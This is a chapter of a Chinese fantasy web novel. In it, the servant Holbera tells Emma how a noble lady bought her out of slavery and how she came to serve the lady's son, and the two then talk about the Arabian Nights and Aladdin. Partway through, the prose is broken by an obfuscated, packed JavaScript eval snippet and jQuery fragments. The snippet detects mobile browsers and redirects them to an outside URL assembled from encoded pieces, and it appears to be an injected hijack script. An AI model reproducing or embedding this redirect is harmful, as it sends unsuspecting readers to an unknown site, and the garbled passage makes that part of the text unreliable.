90.一千零一夜

作品:《月与砂

    艾玛有点意外地“哦”了一声。


    荷尔贝拉悄悄确认了艾玛的视线,认为她仍然看着自己,并对这个话题有兴趣,且没有责备的意思,才好好斟酌起语言来。


    “我的父亲和母亲都是奴隶。虽然,我不记得他们的样子。


    “在那个国家,人出生的时候,身份就注定了。


    “我在奴隶培育所待到五岁,被一位贵族买下。


    “奴隶被当作物品,没有权利,没有自由,随时可能因为主人的喜怒而被毁弃。


    “同僚间的氛围死气沉沉,即使是互相交心的朋友,也可能因为工作上的过错将对方推出去顶罪。我看到很多这样的事情。


    “我不擅长说话,后来说得更少,沉默更安全。


    “我在那个家族工作了三年。八岁的时候,有一天,宅邸里来了贵客。


    “我去前厅端茶,主人家的孩子跑过时撞到我身上,我摔倒了,打翻了托盘上的茶具。


    “热茶泼到那孩子身上,他开始哭闹。我收拾了茶具,但我不知道怎么安慰他。


    “主人听见哭声很快从前厅里出来,看见了我,很生气。


    “我想大概完了。他平时就是个会动辄打骂奴隶的人,在他要打我的时候,跟着从前厅里出来的客人劝止了他。


    “她……那位夫人,走到我面前,蹲下来,劝慰那个哭闹的孩子。他很快不哭了。


    “然后她突然转过目光,看着我。我躲避了她的眼睛。


    “她问我有没有受伤,然后拉过我的手看了一会儿。我手臂上很多伤,我觉得羞愧……感到无所适从。我自始至终没敢正视她。


    “她从那位贵族手里买下了我。


    “我不知道他们交谈的细节,只能后来猜想。


    “她有一个非常显赫的姓氏,本人也极有声望,那位贵族没有拒绝她的理由。


    “我至今不知道她出于什么原因买下我,又或许,最单纯的,只是她同情我。


    “如果她当时不带我离开,或许那一次,也或者不远的下一次,我会因为某个错误死在那个地方。她一定知道。


    “她是我见过最美丽、最富有智慧的女人,没有人比她更仁慈和高尚。


    “她对待身边所有佣人都很好,所有人都喜欢她。


    “她将每一个奴隶当做平等的人来看待,这简直不可思议,更不要说她那样高贵的出身……


    “她从外面买回奴隶的事不鲜见,但她决定把我放在身边,这似乎让她的贴身女佣很吃惊。


    “她身边的佣人也像她那样和善,大家对我很好,教了我很多事情。


    “她那时候已经结了婚,住在丈夫家族的庄园里。她把庄园管理得井井有条,上下都佩服她。


    “但有传闻说,她跟丈夫的关系并不好。因为他们结婚六年,只有一个孩子。这在贵族中很少见。


    “很多次用餐的时候,我陪同在一边。他们说话很少,都很客气,不像夫妻的对话,像在谈生意……


    “啊,抱歉,我不应该说这些……只是,我有时候想到,她确实……并不幸福。我很难过。


    “我十一岁的时候,夫人让我去照顾她的长子。


    “她身边有很多佣人,我实际跟着她的时间不多,不太有跟着她见到少爷的机会。在那之前,我听说他的次数比见过他更多。


    “他很像他的母亲。美丽,而且聪明,学什么都很快,老师们对他赞不绝口。


    “但是……因为年轻,也一样有……玩心重,的时候。”


    荷尔贝拉说到这里,顿了顿。


    “他的课业很重,老爷对他抱有厚望。那些功课对他其实不难,但他很厌烦这些,时常翘掉课,不作任何通知就跑出门,还和老爷呛声。即使被重罚,也没有一点收敛。


    “他从来不顶撞母亲,但答应夫人的话也未必实现。夫人为此很头疼。”


    “叛逆。”艾玛总结了她不好意思说出口的词。


    荷尔贝拉沉默几秒,无可奈何地承认。


    “夫人那时候有了第三个孩子,更少有精力跟他沟通。少爷身边没有人管得住他,他也厌烦管束。


    “夫人没期望我做得到,只是希望跟他年龄相仿的人能跟他更亲近一些,好把少爷的动向及时转告给她。


    “他确实把我留下来了,出于……同样的理由。


    “他在功课时间翻出窗户,跑到外面去,让我不要把这件事告诉其他人。


    “我当时觉得,我要完了。


    “如果把这件事告诉他的母亲,他一定会赶走我;如果我不说出去,事后被夫人发现,她一定不会再相信我。


    “我在那个空旷的房间里煎熬地一个人呆了一下午。我觉得我要完了。


    “可是整整一个下午都没有人来敲门,没有人发现他不在。


    “我害怕他可能已经在外面被发现了,胡思乱想了无数种可能。但谁都没有来敲门。


    “在晚餐时间之前,他又没被任何人发现地从窗户翻回来了。”


    “我还是吓了一跳。因为他跑到城里去了,衣服上还有泥和草叶,头发也乱糟糟的。


    “他很高兴我没有告诉任何人。我成为了他的同谋。


    “他很惊讶我一直在房间里什么事都没做地等待,然后想到要教我认字。


    “他在这方面也像他的母亲,不认为奴隶有什么应不应做的事。他想要我能看懂书,会写东西,会做算数,就开始教我。


    “但,说实话,他不适合当老师。


    “他太聪明,也不够有耐心。但是……他用文字和数字出谜题跟我玩游戏的时候,我很开心。


    “夫人发现了这件事。她没有责备我。只是说,教人很耗费时间,不要耽误到少爷的功课。


    “她亲自教了我认字和书写,连她的孩子们都是由家庭教师教授的……我受宠若惊。


    “后来少爷还是会私自溜出门,我给他望风。说来很惭愧,我用来传递消息的法术,最初用在给他通风报信上。


    “再后来……他溜出去的频率变少了。”


    荷尔贝拉说到这里,停下来,又沉默了好一会儿。


    “抱歉,我说了太多无关的话……本来只是想解释我是怎么得到识字的机会,我不太会讲故事,第一次说这些。”她干涩地说。


    “作为故事来说,结束得有点突然,没听到后续更让我遗憾。”艾玛说。


    “……抱歉,我……”荷尔贝拉收紧手,闭上了眼睛,“夫人……那位女士,对我的恩情,我不论怎样都无法还尽。但我现在……没有资格再提她的姓名。”


    艾玛看了她一会儿,折过身翻开空置地扣着的杯子,给她倒了杯茶:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400707|175926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “说了这么多,喝点茶吧。”


    “谢谢……”荷尔贝拉空出一只手,接过茶杯,这次没有推拒艾玛的邀请。


    艾玛也拿起自己的茶杯喝了一口,指了指荷尔贝拉手里的书:“这本书就给你吧。”


    荷尔贝拉一愣,立刻习惯性地回绝:“不,这太贵重——”


    “那就当,是我借给你的,你有兴趣,我最近也不看。等我什么时候想起来,需要的话,我再问你要。”艾玛说,“听了你的故事,这是回礼。”


    她停了片刻,说:“很抱歉,现在说这样的话……今天我向您讲的事情,您可以,不要告诉其他人吗?”


    “嗯,你放心,我没有讲故事的才能,所以一般什么都不讲。比起我,你刚刚说得好多了。”


    “只是因为喜欢看故事……这类不正经的爱好,或许稍微擅长上一些。蒙您夸奖,很惭愧。”


    艾玛叹了口气:“我也喜欢看故事,下次不要再说这不正经了,不然把我也给骂了。”


    “抱、抱歉,我会注意……”


    “说起来,这本《一千零一夜》,虽然我欣赏它的设计,但它收录的篇目版本并不是我最满意的。包括我最喜欢的《阿拉丁》的故事,还是之前收集的另一个版本更好。”


    荷尔贝拉看了一眼书封,她对书里的故事也耳熟能详:“您喜欢《阿拉丁》吗?”


    故事主人公的名字和标题同名,艾玛以为她指的是角色,摇头道:“我喜欢的是故事里那个神灯中的精灵。”


    荷尔贝拉说:“因为他无所不能?”


    “虽然神灯总是被描述为单纯用来实现愿望的道具,但我很好奇灯里精灵的来历:他能实现任何人的愿望,为什么不能实现他自己的呢?


    “故事里完全没有解释他经历过什么,阿拉丁也丝毫不好奇,仿佛理所当然觉得为人实现愿望是精灵的天性。


    “但在我后来看到的一些版本里,阿拉丁和精灵成为了朋友。


    “精灵解释了自己为何被关在灯里,在故事的结尾,他也获得了自己的自由和幸福。


    “这些版本可能是后来作者的杜撰,为了圆满这个故事的缺憾。但我喜欢这样的解释。”


    提到自己喜欢的故事和角色,艾玛难得话多起来。


    说到这里,艾玛一拍手,房间远处书架上的书突然四散飞起,漂浮在空中,仿佛经过空气的拣选,其中一本飞向艾玛,落到她手上,其他书本回到了书架上的原位。


    “在那些解释里,关于精灵的来历和结局,我最喜欢这个版本。


    “不向你透露细节了,这样读起来更有趣。你也拿回去看看吧。”


    艾玛不由分说地把它塞给了荷尔贝拉,想想,又认真补充一句:“这本看完就还给我哦。”


    新的那本较薄,封面上写着《阿拉丁和神灯》,不是完整的《一千零一夜》。纸质和印刷也随意许多,边角粗糙,但看得出主人很爱惜,有好好保存。


    荷尔贝拉认真地收好了它们。


    艾玛似乎心情很好,突然问起来:“那,贝拉,《一千零一夜》里,你最喜欢哪个角色?”


    荷尔贝拉顿了一下,握着书,似乎很犹豫了一会儿,沉默了数秒才说:“……山鲁佐德。”


    她意识到自己的声音太轻,于是重复了一遍:“我喜欢山鲁佐德。”